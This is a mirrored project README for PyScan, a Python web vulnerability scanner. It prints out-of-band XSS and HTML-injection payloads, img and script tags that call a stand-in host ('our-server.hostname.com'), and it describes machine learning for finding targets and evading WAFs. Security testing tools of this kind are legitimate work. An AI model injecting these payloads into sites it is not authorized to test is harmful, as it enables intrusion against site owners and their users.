Giter Club home page Giter Club logo

pyscan's Introduction

PyScan

This Vulnerability Scanner is written in Python, and combines injection of payloads with AI for the recognition of vulnerable sites. It provide a very beautiful Web-based panel only for visualization of the data (written with CherryPy+Jinja2)

The console tool reports all the data as session:

Every session is characterized by the title, the date, the author and a simple description, and will be memorized in a SQLite db. You can use sessions for see infos from the web-panel.

Console Python Vuln

Included with the tool, there is a very simple an useful tool like msf : cpv.py, that you can use for see the sessions and some infos about them.

Modules

Now, the scanner supports all the most important vulnerabilities, and test them using some modules that inject payloads. The payloads are very simple and are utilized for see how the web application interact with the given input, while the last payload, is an out of band payload, that use a request to a simple web server that you launch (CherryPy powered) for obtain the assurrance that the web application is vuln to the chosen attack.

A simple example of this technique is shown in the following code section:

<img src="https://our-server.hostname.com/?token=SGkgTWlr&attack=html_inj" /> 

will send a GET request to our server for obtain the given resource, and so, our server will log the request, giving us the almost absolute certainty that the web application is vuln (in this case to HTML Injection).

Another simple example:

<script src="https://our-server.hostname.com/?token=SGkgTWlr&attack=xss"></script> (XSS Reflected)
or
<script>new Image("https://our-server.hostname.com/?token=SGkgTWlr&attack=xss")</script> (XSS DOM)

These payloads show the same technique, but testing the web application for XSS Vulnerability.

AI (Artificial Intelligence)

The scanner provide a very simple and useful algorithm of machine learning, that using the collected data, search new ways for find vulnerable targets and escape WAFs.

The model, for now, is in developing, and must do some practice, but is a good function that I want implement.

Utilities

In the utilities, you can find all the tools that are used for recon, data collecting, session manipulation, server out-of-band, DNS mapper and more.

In particular, the Out-Of-Band Server is a single tool that you must start apart. For the server forwarding (without fight versus port forwarding), I recomend you to use ngrok, that provide a tunnel from your machine and the internet. The server and the entire platform, are developed using this tool for the forwarding of the service.

Web Application

pyscan's People

Contributors

mik317 avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.